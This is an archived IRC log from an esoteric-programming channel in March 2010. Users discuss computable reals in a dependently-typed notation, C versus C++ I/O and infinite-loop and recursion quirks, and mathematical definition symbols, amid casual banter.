←2010-02 2010-03 2010-04→ ↑2010 ↑all
2010-03-01
00:00:01 <oerjan> it _starts_ with a sex change, and then you turn into a furry
00:00:25 <alise> pikhq: *a crisis
00:00:38 <alise> also, haw haw signal/noise has just approached 0
00:00:43 <pikhq> ... I accidentally used the plural. Hooray.
00:01:48 <alise> ANYWAY coppro
00:01:52 <alise> data ℝ : Set where
00:01:52 <alise> ℝ : (f : ℚ⁺ → ℚ)
00:01:52 <alise> → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂}
00:01:53 <alise> → ℝ
00:01:53 <alise>
00:01:53 <alise> ι : ℚ → ℝ
00:01:53 <alise> ι q = ℝ (λ_. q)
00:01:54 <alise> ADMIRE
00:02:55 * coppro explodes
00:02:57 <alise> pikhq: also does that make sense with "either one"?
00:03:17 <alise> or is my brain inferring an innuendo that in fact isn't there at all, thus implying i have finally left the last stage of sanity
00:03:24 <alise> coppro: THAT IS NOT ADMIRATION
00:03:47 <coppro> great, I've pissed off alise. See you Tuesday
00:04:22 <alise> coppro: wat
00:04:23 <Oranjer> yay
00:04:38 <coppro> alise: because you're a girl, obv
00:04:53 <alise> oh. haw haw
00:06:58 <pikhq> alise: Hmm. *Looks* like the standard definition of the computable reals from the rationals.
00:07:22 <alise> Well... it is.
00:07:29 <pikhq> I'm going with "Sure, makes sense". ;)
00:07:34 <alise> euler : ℝ
00:07:35 <alise> euler = ℝ (λ ε → sum (map (λ i → (i!)⁻¹) (1 … ε)))
00:07:35 <alise> i think
00:07:55 <alise> yes I am using x⁻¹ in place of 1/x WHAT OF IT
00:08:24 <pikhq> I have no complaints.
00:09:11 -!- adam_d has quit (Ping timeout: 265 seconds).
00:09:36 <alise> and (m … n) for range, mostly because I can't think of anything else
00:09:56 <alise> also... it should be product not sum
00:09:57 <alise> w/e
00:10:34 <alise> and 0 not 1 lol
00:12:15 <alise> maybe I should define a product operator
00:12:15 <alise> like
00:12:16 <alise> ∏ 0 → ε ⇒ λ i → (i!)⁻¹
00:13:09 <alise> euler : ℝ
00:13:10 <alise> euler = ℝ (λ ε → ∏ 0 → ε ⇒ λ i → (i!)⁻¹)
00:21:44 <alise> Incidentally, abs (x-y) deserves a better name than it possesses.
00:22:00 <oerjan> d(x,y) ?
00:22:13 <alise> That's not an operator, it's a function.
00:22:40 <oerjan> distance metric
00:23:11 <alise> For some reason I think it's actually a nicer operation than subtraction.
00:23:19 <alise> We're measuring, not doing some sort of thingy-bob operation.
00:25:35 <alise> oerjan: Seems that Epigram 2 does indeed have Mu, the Fix you quoted, as the primitive.
00:26:06 <alise> make nat := (Mu @ [`arg { zero, suc } [ (@ [`done]) (@ [`ind1 @ [`done]]) ] ] ) : * ;
00:26:07 <alise> make zero := @ [`zero] : nat ;
00:26:07 <alise> make suc := (\ x -> @ [`suc x]) : nat -> nat ;
00:26:07 <alise> make one := (suc zero) : nat ;
00:26:07 <alise> make two := (suc one) : nat ;
00:26:08 <alise> make plus := @ @ [(\ r r y -> y) (\ r -> @ \ h r y -> suc (h y))] : nat -> nat -> nat ;
00:26:08 <alise> make x := (plus two two) : nat
00:26:21 <oerjan> ah
00:30:40 <alise> Seems yucky to me, though.
00:33:06 <alise> oerjan: how can that mu do paramaterisable types though
00:33:12 <alise> λA → (λT → data nil : T; cons : A → T → T)
00:33:13 <alise> ?
00:33:19 <alise> er does that Mu show up for you?
00:33:20 <alise> probably not
00:33:26 <oerjan> nope
00:33:26 <alise> after the first -> imagine an M
00:33:35 <alise> oh wait no unicode at all
00:33:53 <alise> \A -> M (\T -> data nil : T; cons : A -> T -> T)
00:33:57 <alise> where M is our Mu
00:34:31 <oerjan> so you answered your own question?
00:34:35 <alise> yeah :P
00:34:53 <alise> \A -> M (\T -> (data nil : T) && (data cons : A -> T -> T))
00:35:00 <alise> where && = Either = union = and
00:35:43 <alise> (data nil : T) ≈ 1
00:35:53 <alise> \A -> M (\T -> Unit && (data cons : A -> T -> T))
00:36:05 <alise> so how to reduce the cons, I wonder
00:36:21 <alise> also, my issue with these kinds of shenanigans is that the implementation gets exposed
00:36:26 <alise> () : List, which isn't cool
00:37:25 <alise> i think the observational type theory guys have a nice way to do all this, and it's in epigram 2 :P
00:38:08 <alise> of course all this Muery doesn't help us write nice notation...
00:38:08 <oerjan> mhm
00:38:15 <alise> which is my whole goal :P
00:39:06 <oerjan> predicted return to specialized notation in 1,2 ...
00:39:17 -!- bsmntbombdood has joined.
00:40:17 <alise> oerjan: you're saying I'll never go back?
00:40:21 <alise> makes sense!
00:40:33 * oerjan swats alise -----###
00:40:38 <alise> but seriously why are the T and ... in the same definition in data X : T where ...
00:40:42 <alise> it makes no sense!
00:41:50 <alise> I thought I’d scribble something about what we’re up to. The team (Pierre-Évariste Dagand, Adam Gundry, Peter Morris, James Chapman) have been hard at work. I have been otherwise engaged. As a result, there has been considerable progress. Don’t worry. I expect I’ll mess things up properly over Christmas.
00:41:54 <alise> --Conor McBride
00:43:33 <alise> I'm tired, so I'll sleep now.
00:43:41 <alise> Hopefully, see you tomorrow. Bye!
00:43:42 -!- alise has quit (Quit: alise).
01:23:07 -!- FireFly has quit (Quit: Leaving).
01:23:18 -!- BeholdMyGlory has quit (Remote host closed the connection).
01:23:43 -!- benuphoenix has joined.
01:25:35 -!- oerjan has quit (Quit: Reboot).
01:25:38 <uorygl> Hmm, still nobody has sent me the esoteric-priv stuff.
01:25:54 <benuphoenix> is this the place where "int main(){for(int i=0;i<1;i++) i--; return 0;}" is a normal c++ program?
01:26:43 -!- cheater2 has quit (Ping timeout: 245 seconds).
01:29:02 -!- oerjan has joined.
01:31:32 <oerjan> benuphoenix: no. c++ is banned here. *ducks*
01:31:49 * oerjan doesn't know c++ anyhow
01:32:34 <oerjan> also, isn't that an infinite loop.
01:33:22 -!- MizardX has quit (Ping timeout: 276 seconds).
01:33:45 -!- cal153 has quit.
01:34:13 <pikhq> benuphoenix: No, we write crazier C++.
01:34:22 <pikhq> Well, crazier C, actually.
01:34:54 <pikhq> a,b,c;main(z,i)char**i;{h:a=!a,b=!b;g:(b-1)[1[i]]>b[i[1]]?a^=a,c=(b-1)[1[i]],1[i][b-1]=i[1][b],b[i[1]]=c,b=&b[(void*)1]:(b=&b[(void*)1]),!b[i[1]]?:({goto g;}),a?:({goto h;}),b=!b;j:putchar(b[1[i]])[(void*)(b=&b[(void*)1])],1[i][b]?({goto j;}):putchar('\n');}
01:34:56 <uorygl> Translate into Haskell please.
01:35:01 <pikhq> See?
01:35:11 <benuphoenix> for(i=0;i!=0;)
01:35:56 <benuphoenix> that's the craziest i can quickly think of that fits on one line.
01:36:32 <Oranjer> what's it say
01:36:46 <pikhq> uorygl: The equivalent Haskell for benuphoenix's program is: main = undefined
01:36:48 <pikhq> :P
01:37:07 <pikhq> (well, strictly speaking his is the "infinite loop" sort of bottom, but hey.)
01:37:18 <uorygl> main = main
01:37:21 <uorygl> It's shorter, even!
01:37:39 <pikhq> No, GHC complains about that.
01:38:11 <pikhq> main = return $ length [1..] -- This is *actually* an infinite loop. :)
01:38:24 <pikhq> Erm. Wait, no, that won't be eval'd.
01:38:38 -!- Asztal has quit (Ping timeout: 258 seconds).
01:38:44 <pikhq> main = return $ length [1..] `seq` ()
01:38:52 -!- Asztal has joined.
01:38:55 <pikhq> :)
01:39:10 <Sgeo> Hi benuphoenix
01:39:26 <benuphoenix> hi Sgeo
01:40:37 <benuphoenix> am i the only one who uses irssi in windows instead of xchat?
01:40:38 <oerjan> !haskell import System; main = System.exit . flip seq 0 . all (<1) $ iterate (succ.pred) 0
01:41:00 <Sgeo> I think uorygl SSHes in to normish from which he uses irssi
01:41:04 <oerjan> oh wait
01:41:11 <pikhq> ... Windows?
01:41:22 <pikhq> oerjan: Hah.
01:41:31 <Sgeo> pikhq, on Cygwin apparently
01:41:34 <oerjan> !haskell main = flip seq 0 . all (<1) $ iterate (succ.pred) 0
01:41:48 <oerjan> argh
01:42:16 <benuphoenix> there's a win32 binary version on irssi.org
01:42:21 <oerjan> !haskell main = flip seq (return 0) . all (<1) $ iterate (succ.pred) 0
01:43:03 <pikhq> Might I suggest (`seq`return 0) instead of flip seq (return 0)?
01:43:39 <oerjan> you may
01:44:02 <oerjan> hm that last one got no response. maybe that meant it actually _did_ compile.
01:45:33 <oerjan> actually, does ghc use main's result for exiting if it is an Int?
01:45:46 <oerjan> might need that System function after all
01:45:49 <benuphoenix> c/c++: int main{for(;;);} might be infinite. i only speak c++ and basic
01:46:48 <oerjan> oh hm
01:47:06 <uorygl> Sgeo: currently, I SSH into sine.aftran.com from which I use irssi.
01:47:19 * Sgeo slaps uorygl
01:47:34 -!- Asztal has quit (Ping timeout: 265 seconds).
01:47:39 <oerjan> !haskell import System; main = exitWith . flip seq 0 . all (<1) $ iterate (succ.pred) 0
01:47:45 <uorygl> Hey, you know that sine.aftran.com is not the location of our chatting.
01:47:53 <uorygl> I left out the port number and channel name.
01:48:06 <oerjan> !haskell import System; main = exitWith . exitSuccess . flip seq 0 . all (<1) $ iterate (succ.pred) 0
01:48:32 * oerjan refuses to actually look up the correct function name :D
01:48:46 <Sgeo> http://www.stationv3.com/d/20050131.html
01:49:41 -!- cal153 has joined.
01:51:20 <pikhq> *cough*
01:51:24 <pikhq> (`seq`0)
01:51:47 <oerjan> pikhq: i said you may suggest it, not that i would listen
01:51:57 <pikhq> oerjan: Ah.
01:52:33 <benuphoenix> i got "main(){for(;;);}" to compile and run infinite.
01:52:50 <oerjan> !c++ main(){for(;;);}
01:53:11 <oerjan> well it hasn't complained yet
01:53:16 <oerjan> !gnarble
01:53:26 <oerjan> !interps
01:53:36 <pikhq> benuphoenix: Well, yeah...
01:53:42 <oerjan> !help
01:53:43 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
01:53:51 <oerjan> !help languages
01:53:52 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
01:53:52 -!- Asztal has joined.
01:54:01 <oerjan> oh
01:54:10 <oerjan> !cxx main(){for(;;);}
01:54:20 <pikhq> !c main(){main();}
01:54:22 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 29844 Segmentation fault /tmp/compiled.$$
01:54:32 <pikhq> What, no TCO?
01:54:35 <pikhq> *Lame*.
01:54:49 <pikhq> *Real* compilers TCO.
01:55:22 <Sgeo> TCO?
01:55:49 <pikhq> Tail-call optimisation.
01:56:08 <Sgeo> Ah
01:56:14 <Sgeo> Python doesn't do that, for some reason
01:56:24 <pikhq> A tail call can be optimised to a jmp fairly easily.
01:56:27 <Sgeo> I remember reading about someone arguing that that's correct, and it shouldn't
01:56:53 <pikhq> It's incorrect.
01:57:22 <pikhq> At a *bare* minimum it should offer a way of explicitly doing a tail call.
01:57:32 <pikhq> (something like Perl's "goto &func;")
01:57:41 <pikhq> Erm.
01:57:46 <pikhq> "goto &func(args);"
01:58:46 -!- Azstal has joined.
01:58:47 <pikhq> (note: TCO is harder to do in C, because of calling conventions. Caller cleanup means that not many things are actually tail calls.)
02:00:09 <benuphoenix> running main(){main();} after [c++] compiling successfully segmetation-faulted after 1.49 seconds
02:00:29 <benuphoenix> i'm ssh'd onto my freebsd 8 system
02:00:37 -!- Asztal has quit (Ping timeout: 265 seconds).
02:00:39 <oerjan> c++. for high-speed crashing.
02:00:54 <coppro> lol
02:01:39 <Sgeo> I take it C++ doesn't TCO either
02:01:41 <Sgeo> ?
02:02:11 <coppro> Depends on your compiler
02:02:23 <coppro> I'm surprised that even compiles; main is not supposed to be callable
02:03:07 <benuphoenix> it says it's gcc version 4.2.1
02:03:43 <coppro> :/
02:04:24 <coppro> normally the compiler inserts all the initialization into the prelude of main, so the standard disallows calling it from within the program
02:05:41 * benuphoenix thinks that the only reason that g++ allows it is because one of the developers wanted to program infinite loops
02:06:05 <benuphoenix> or something like that
02:06:27 <coppro> nah, you can make infinite loops all sorts of other ways
02:06:59 <benuphoenix> s/infinite loops/recursive function calls/
02:07:07 -!- Azstal has quit (Ping timeout: 265 seconds).
02:07:47 <coppro> you can go infinitely recursive with any other function
02:08:52 <oerjan> you can infinitely loop while choosing how to infinitely loop!
02:10:02 <benuphoenix> running main(){main();} gave me a 67 meg core dump
02:11:20 <pikhq> coppro: GCC doesn't stick any initialization into main.
02:11:27 <pikhq> coppro: The entry point is _start.
02:11:40 <pikhq> coppro: _start initialises things and then calls main.
02:11:51 <coppro> pikhq: yes, but that doesn't change the standard
02:12:01 <coppro> calling main is still illegal
02:12:14 <pikhq> GCC does many things that are illegal.
02:12:40 <coppro> yarly
02:13:24 <benuphoenix> allowing "main(){...}" when it should only be "int main(){...}"
02:14:02 <pikhq> In C89, the "int" is implied.
02:14:48 <coppro> in C99 too, no?
02:15:55 <Gregor> I'm pretty sure that's still legal in C99, although stupid :)
02:16:32 <Gregor> Anyway, I'm sure -Wall -Werror -ansi -pedantic would complain.
02:16:33 <pikhq> Oh, right. C99 allows it for functions.
02:16:42 <pikhq> It's banned for variables.
02:16:47 <pikhq> Gregor: -std=c99 makes it warn.
02:16:55 <pikhq> It's deprecated but allowed.
02:17:10 <pikhq> I know I've gotten warning.
02:17:35 <Sgeo> C99 apparently lets you do int a[b]; when b isn't a const?
02:17:36 <Gregor> Warning != illegal. gcc also warns if you use gets()
02:17:42 * Sgeo is somewhat scared
02:17:47 <Gregor> In fact, gcc warns if you use gets() even if you specify -w (no warnings) :P
02:18:09 <Gregor> Sgeo: You could approximate that with alloca anyway
02:18:12 <pikhq> Sgeo: Yeah, works just fine.
02:18:19 <pikhq> The array gets allocated on the stack.
02:18:38 <pikhq> And gets cleaned up when it goes out of scope.
02:18:53 <pikhq> (by "cleaned up", we of course mean "popped".)
02:19:06 <Gregor> (IIRC, alloca is not part of any standard, but is basically implemented by everyone)
02:19:30 <pikhq> Yeah, alloca is pretty common.
02:19:56 <pikhq> Ah. It's POSIX.
02:20:13 <Sgeo> Is benuphoenix doing C or C++?
02:20:16 <Gregor> pikhq: It is?
02:20:31 <Gregor> CONFORMING TO
02:20:32 <Gregor> This function is not in POSIX.1-2001.
02:20:32 <pikhq> No, no it's not. I thought it was.
02:20:34 <benuphoenix> Sgeo: C++
02:20:37 <pikhq> For some reason.
02:20:50 <pikhq> It's just been around since at least 3BSD.
02:21:32 <benuphoenix> even when it's identical to c, i still use c++
02:21:58 <pikhq> benuphoenix: That's dumb.
02:23:19 <benuphoenix> actually, i rarely write something in c++ that doesn't use iostream
02:23:58 <pikhq> Eeeeew.
02:24:25 <pikhq> C++'s IO is one of the more stupid features.
02:24:45 <pikhq> (seriously, IO via bitshift?)
02:25:31 <benuphoenix> the "<<" and ">>" are overrides
02:26:18 <benuphoenix> at least, i think that's the term
02:26:31 <pikhq> They're bitshift operators.
02:26:54 <pikhq> That your bitshift operator isn't *shifting* any *bits* doesn't make them cease to be bitshift operators.
02:28:08 <Sgeo> It is somewhat ugly, but is that that big a tragedy?
02:28:10 <benuphoenix> pikhq: i know what the bitshift operaters are and what they are supposed to do
02:28:51 <pikhq> Sgeo: That's but one of the poor things about C++'s IO.
02:28:55 <Gregor> It shifts bits from memory into IO :P
02:28:58 <Gregor> Or vice/versa
02:29:03 <pikhq> This is merely a poor *aesthetic* choice.
02:29:55 <Sgeo> Paging coppro to #esoteric . coppro to #esoteric
02:30:35 <pikhq> Iostreams also have the annoying property that you can manipulate their ouput mode, but not readily set the output mode back to what it was previously.
02:30:55 <pikhq> Write a function that outputs some numbers as hex and then returns the iostream to the previous mode. Go on, I'm waiting.
02:31:10 <pikhq> Also, Iostreams make i18n a royal *pain*.
02:31:31 <pikhq> In C, you would wrap the format string in a function that looks up the translation for the string.
02:31:42 <pikhq> In C++... You use printf if you want to do that.
02:32:06 <pikhq> (or GNU's asprintf, which is a printf that *works on iostreams*. Thus obviating everything different about them.)
02:32:09 <Sgeo> Surely you can retrieve the flags somehow?
02:32:15 <benuphoenix> i mainly use cin.get() and cout.put()
02:32:30 <pikhq> Sgeo: No.
02:32:47 <Sgeo> cin.something? There's no something? Or something()?
02:32:49 <Sgeo> :(
02:33:01 <pikhq> Also, why in the world does endl exist? I could understand if it actually used the system end of line character.
02:33:10 <coppro> Sgeo: pong
02:33:14 <pikhq> But it *doesn't*. It just outputs \n and flushes the iostream.
02:33:21 <pikhq> So. Fekking. *Stupid*.
02:33:37 <Sgeo> coppro, read the C++ criticism. You're a C++ defender person, iirc?
02:33:44 <coppro> oh, I don't defend IOstreams
02:33:45 <coppro> they suck
02:33:50 <pikhq> See?
02:34:24 <Gregor> ... C++ vs C arguments. Seriously? Argh.
02:34:26 <coppro> the overarching concept (easily extensible streams) is good, and that's about it
02:34:36 <pikhq> coppro: Agreed.
02:34:54 <pikhq> Gregor: Hey, we have to do one of these every now and then.
02:36:58 <benuphoenix> true or false: iostreams are useful when the professors want to see them in the code?
02:37:07 <coppro> true
02:39:19 <benuphoenix> what are the c stdio equivlents of the c++ iostream functions "cin.get()" and "cout.put()"?
02:40:03 <pikhq> What's the type of get and put again?
02:41:07 <coppro> getc and putc
02:41:15 <coppro> or something like that
02:41:16 <pikhq> Mmm...
02:41:21 <pikhq> benuphoenix: Which get?
02:41:29 <coppro> pikhq: the one that gets the next character
02:41:48 <pikhq> Ah, the "int get()" one.
02:42:48 <pikhq> Yeah, "int getchar(void)" and "int putchar(int)" are the functions.
02:46:51 <Sgeo> Everyone who needs to breathe has thirty seconds to get off the station.
02:48:48 <Sgeo> http://www.stationv3.com/d/20050921.html
02:58:42 -!- benuphoenix has quit (Quit: leaving).
03:17:10 -!- sshc_ has joined.
03:17:59 -!- sshc has quit (Quit: Reconnecting).
03:23:28 -!- sshc_ has changed nick to sshc.
04:08:32 -!- Oranjer has left (?).
04:48:46 <augur> who wants to dick around with an experiment in flight control for my video game? :D
05:08:11 <oerjan> xkcd XD
05:10:48 <Sgeo> Wish the die looked better though
05:19:18 -!- coppro has quit (Remote host closed the connection).
05:19:45 -!- coppro has joined.
05:40:08 -!- oerjan has quit (Quit: Good night).
05:43:53 -!- jcp has quit (Ping timeout: 248 seconds).
06:36:04 <uorygl> `translate Linguini! Fettucini, al forno! Bolognese, Crostini. Carbonara. Manicotti con Granchi e Spinaci. Frutti... di... MARE! Resquiat in pesci, in pesto, e in quattro formaggi.
06:36:15 <HackEgo> Resquiat in fish, pesto, and four cheeses.
06:37:08 <augur> uorygl: what are you trying to do lol
06:37:11 <uorygl> `translate Linguini; fettucini, al forno; bolognese, Crostini; carbonara; manicotti con Granchi e Spinaci; frutti... di... MARE; resquiat in pesci, in pesto, e in quattro formaggi.
06:37:13 <HackEgo> SEA; resquiat in fish, pesto, and four cheeses.
06:37:16 <uorygl> ...
06:37:21 <uorygl> I'm trying to translate that.
06:37:27 <augur> whats to translate
06:37:31 <augur> theyre names of foods
06:38:12 <uorygl> How about the "al forno" and the "resquiat" parts?
06:38:55 <augur> oh who knows im not italian
06:40:16 <uorygl> I guess all of it is food except the resquiat.
06:53:37 -!- Sgeo_ has joined.
06:55:19 -!- Sgeo has quit (Ping timeout: 256 seconds).
07:41:18 -!- tombom has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:57 -!- lament has quit (Ping timeout: 248 seconds).
08:01:06 -!- lament has joined.
08:02:01 -!- adam_d has joined.
08:15:16 -!- cheater2 has joined.
08:23:29 -!- Asztal has joined.
08:36:54 -!- adam_d has quit (Quit: Leaving).
09:10:27 -!- yourcomdotmom has joined.
09:10:27 -!- yourcomdotmom has quit (Excess Flood).
09:11:14 -!- MizardX has joined.
09:13:14 -!- yourcomdotmom has joined.
09:15:34 -!- yourcomdotmom has quit (Remote host closed the connection).
09:16:40 -!- yourcomdotmom has joined.
09:17:10 -!- yourcomdotmom has quit (Remote host closed the connection).
09:17:53 -!- yourcomdotmom has joined.
09:33:23 -!- yourcomdotmom has quit (Remote host closed the connection).
09:51:06 -!- scarf has joined.
10:09:32 <fizzie> That translated bit sounds so very very familiar, but I just can't place it. I'm sure I've read it somewhere, though.
10:42:03 -!- FireFly has joined.
10:56:05 -!- scarf has quit (Remote host closed the connection).
11:08:52 -!- ehird has joined.
11:09:05 <ehird> March. 'Tis verily March.
11:15:58 <ehird> So I was thinking that the inductive datatype constructor would be M, and the forgotten-the-name (like maybe for Maybe) μ. So you'd define all functions on inductive data-types with μ. I think Epigram 2 does that, or something like it.
11:17:22 <ehird> I don't think M : (Set -> Set) -> Set makes sense, though; you can't define a sensible μ recursion combinator just based on that.
11:19:12 <ehird> Or maybe you can. Feeding the non-M'd (List A) to the empty type gets us `data empty : Void; cons : A -> Void -> Void`. Wait, what? empty : Void?
11:19:16 <ehird> I'm confused now.
11:19:25 <augur> ehird?!
11:19:31 -!- ehird has changed nick to alise.
11:19:33 <alise> Gotta fix that default.
11:19:41 <augur> :(
11:19:45 <augur> I MISS MY EHIRD
11:19:49 <alise> Tough shit.
11:19:50 <alise> :)
11:19:52 <augur> <3
11:19:57 <augur> ever used unity?
11:19:57 -!- alise has changed nick to ehird.
11:19:59 -!- ehird has changed nick to alise.
11:20:09 -!- alise has quit (Quit: alise).
11:20:27 -!- alise has joined.
11:20:35 <alise> Never used Unity. 3D is hard; let's go shopping.
11:20:45 <augur> duuuude
11:20:46 <alise> Write it in my language!
11:20:46 <augur> its so cool
11:20:48 <alise> It'll be dependent.
11:20:58 <alise> MONOIDAL RENDERING
11:26:45 <alise> 18:33:37 <Sgeo> coppro, read the C++ criticism. You're a C++ defender person, iirc?
11:26:45 <alise> Correct. I would also have accepted "lunatic".
11:40:25 -!- rodgort has quit (Quit: Coyote finally caught me).
11:40:34 -!- rodgort has joined.
11:44:34 -!- scarf has joined.
11:47:23 <alise> Hi scarf
11:47:32 <scarf> hi alise
11:48:13 <scarf> sorry, haven't been doing too much esoprogramming recently, unless you consider Java eso
11:48:50 <scarf> one of the things which comes with a job is not always being able to choose which language you write in
11:48:58 <alise> that's alright, I haven't been either
11:49:16 <alise> well, then again, I guess you could consider my language eso
11:49:25 <scarf> <student> so you're saying that Java is a good language know if you want a job? <ais523> well, it got /me/ a job
11:50:03 <alise> :( if i had been there i'd go on a lecture about soul-crushing C.R.U.D. work with contradictory specifications to the student :D
11:50:06 <alise> that would have been fun!
11:50:24 <alise> I may be the most cynical person about programming jobs who has /never had a programming job/
11:50:25 <scarf> heh, well my job is teaching it to students
11:50:35 <scarf> so I don't have the sort of over-enterprisiness issues
11:50:44 <scarf> just, my heart sinking at people confusing classes and methods
11:50:51 <alise> yeah but it's basically like teaching applied satanism :P
11:50:55 <scarf> hah
11:50:56 <scarf> *haha
11:50:58 <alise> you can do it but... why
11:51:16 <scarf> improving the average quality of Java programmers can only be a good thing, surely?
11:51:20 <alise> true.
11:51:30 <alise> anyway, have the computable reals:
11:51:32 <alise> data ℝ : Set where
11:51:32 <alise> ℝ : (f : ℚ⁺ → ℚ)
11:51:32 <alise> → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂}
11:51:33 <alise> → ℝ
11:51:33 <alise>
11:51:33 <alise> ι : ℚ → ℝ
11:51:33 <alise> ι q = ℝ (λ_. q)
11:52:13 <scarf> yay, Unicode support
11:52:24 <scarf> I think any language with a syntax like that is necessarily eso, including APL
11:52:32 <scarf> also, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380731#15 (found via reddit) makes me amused
11:52:34 <alise> Support? I'm afraid I'm going to shift your opinion now; it's not optional.
11:52:41 <alise> Unicode or GTFO!
11:52:57 <alise> scarf: that bug report really irritates me
11:53:08 <alise> i am god, accept my holy package judgements
11:53:21 <scarf> alise: it confuses me, but I'm not sure why I'm confused and get even more confused as a result
11:53:49 <scarf> alise: do you consider support for the astral planes also necessary?
11:53:53 <alise> I really like the definition of computable reals
11:54:09 <alise> scarf: Well, it's only "required" insofar as the basic syntax and stdlib use it :P
11:54:16 <scarf> oh, for the lang
11:54:20 <alise> a
11:54:22 <alise> *ah
11:54:31 <alise> Or, wait, does any of the actual syntax use it? The arrow is defined in the stdlib, albeit as a primitive
11:54:36 <scarf> I thought you meant that Unicode support was necessary for everything, and ended up agreeing with you
11:54:39 <alise> Oh, of course, lambda
11:54:55 <alise> scarf: Well, that too of course
11:54:58 <alise> Aastral Plane is nice also
11:55:01 <alise> *Astral
11:55:06 <scarf> in derl (my underlambda/underload interp), all I/O is in UTF-8, and it uses UTF-32 internally
11:55:27 <scarf> hmm, I don't think I've ever seen the Unicode version of the astral planes written with a capital letter
11:55:32 <alise> Nor I, oh well
11:55:36 <alise> God I love dependently-typed languages
11:55:39 <scarf> and there are 16 of them
11:55:42 <alise> Induction on the naturals as a recursion combinator?
11:55:43 <alise> Wyever not
11:55:50 <alise> *Whyever
11:56:25 <scarf> alise: my PhD is turning slightly towards the idea of dependent types; dependent types is sort-of parametrizing types towards values, whereas what I'm doing is in the other direction
11:56:44 <alise> It's not sort-of, that's exactly what it is.
11:56:47 <scarf> where types are parametrized by the number of times you're allowed to use a value of that type ever
11:56:55 <scarf> alise: well, ok
11:57:01 <alise> The normal typed lambda calculus is types indexing on types, and values indexing on values.
11:57:06 <alise> With typeclasses, we have values indexing on types.
11:57:11 <alise> Dependent types give us types indexing on values.
11:57:18 <alise> Or, wait, typeclasses don't /quite/ do that.
11:57:19 <alise> But close.
11:57:33 <alise> Dependently-typed languages usually have types as first-class values, too, so we get values-indexing-on-types for free.
11:58:55 <scarf> one thing I've been thinking about recently is designing my own VCS
11:59:05 <alise> I like how the (intensional) Axiom of Choice is in fact provable in intuitionistic type theory and thus most dependent langs.
11:59:10 <scarf> I think I found a paradigm general enough to contain both git's model and darcs's model as special cases
11:59:16 <alise> Wonder if it is in Observational Type Theory (the underpinning of Epigram 2)?
11:59:23 <scarf> alise: ooh, the axiom of choice
11:59:29 <alise> (Not the extensional axiom of choice, though.)
11:59:37 <alise> Extensional is the one that lets you do things like order the real numbers.
11:59:46 <alise> http://r6.ca/blog/20050604T143800Z.html
11:59:48 <scarf> when you're in a CS department, you eventually find someone who makes you realise that it isn't actually obvious after all
11:59:52 <alise> You can have one without the other.
12:00:01 <alise> Which is awesome.
12:00:54 <alise> *intensional not intuitionistic
12:01:05 <scarf> the intensional one is the one that's normally stated as the axiom, at least here
12:01:32 <scarf> but then, we're normally dealing with sets, where the existence of quotients is taken for granted
12:01:38 <scarf> so they probably come out equivalent there
12:02:02 <alise> yes it's causing me a bit of a crisis as I like quotient types
12:02:25 <alise> and Observational Type Theory which has a really nice definition of equality has tem
12:02:27 <alise> *them
12:02:33 <scarf> also, that first link is a data: link
12:02:35 <scarf> I love that page
12:02:38 <alise> but surely it cannot have extensional choice?
12:02:44 <alise> otherwise it'd have excluded middle
12:02:59 <scarf> although it doesn't load in my browser
12:03:01 <alise> and you cannot give a value of either p or p -> Void for every type p...
12:03:09 <alise> scarf: he does tat a lot
12:03:13 <alise> *that
12:03:15 <alise> it's like footnotes but awesome
12:03:26 <scarf> hmm, I wonder why it isn't working? loading it just gives me a blank page
12:03:29 <alise> his blog http://r6.ca/blog/ is very cool
12:05:22 <alise> http://r6.ca/blog/20091101T231201Z.html man I haven't read this before
12:06:28 <scarf> hmm, loads in Epiphany
12:06:32 <scarf> that's -webkit
12:07:17 <fizzie> That data: link was the strange in my Ubuntu 3.0-series Firefox too: clicking did nothing; opened in new tab, initially got a blank page with no special load indicators; finally got it open when I went to the location bar to press enter once.
12:07:30 <alise> WFM (safari)
12:07:35 -!- Gracenotes has quit (Quit: Leaving).
12:08:09 <fizzie> Given that it works just fine after the go-to-location-bar-and-press-return, I suppose there's nothing wrong with the link itself.
12:08:10 <scarf> fizzie: ah, let me try that in FF
12:08:37 <scarf> fizzie: yep, same results
12:08:54 <scarf> that /is/ a weird bug, I wonder if it's an FF bug or an extension bug?
12:09:10 <alise> so, guys, what's your favourite definition symbol?
12:09:36 <alise> I like ≔
12:10:43 <fizzie> I like that snowman guy.
12:11:26 <alise> har har
12:12:33 <scarf> alise: = with a little word "def" over it is normally used when writing proofs here
12:12:45 <scarf> I'm not sure how much I like it, but it's at least unambiguous
12:12:45 <alise> Yes, but you need a huge font size for that to be readable.
12:13:01 <scarf> also, there's something very nicely pure about a language that can get away with using = for defined-equal
12:13:03 <alise> Plus, it is ugly; we rarely use words in mathematics, preferring symbols (including alphanumeric ones).
12:13:03 <fizzie> ≔ is nice, though in this font even that's just a = that has some sort of blobby things on the left end.
12:13:05 <scarf> like Algol 68
12:13:19 <alise> Overlaying an English abbreviation on top of a very common symbol is just silly/
12:13:19 <scarf> or Haskell
12:13:21 <alise> *silly.
12:13:23 <alise> fizzie: Ditto.
12:13:33 <scarf> it's visible as a :=-alike to me
12:13:37 <alise> scarf: It isn't pure, though, because that's not really what it means.
12:13:37 <fizzie> It's still better-looking than the ≝ though.
12:13:38 <scarf> with less space between the : and hte =
12:13:43 <scarf> alise: I know
12:13:47 <fizzie> I mean, that one's just a = with a larger smudge above.
12:13:48 <scarf> fizzie: ugh, that's awful
12:13:53 <alise> At the very least it should be ≡.
12:14:02 <alise> Definitional equality, propositional equality, ...
12:14:07 <scarf> if I zoom right in, I can see the word def
12:14:13 <alise> Spam, spam, equality and spam...
12:14:16 <scarf> that's zooming via super-mousewheel, not by making the font bigger
12:14:41 <scarf> you don't realise how much you were missing super-mousewheel until you get a system where it works
12:14:55 <alise> ctrl-mousewheell in os x.
12:14:57 <alise> I have no mousewheel, though
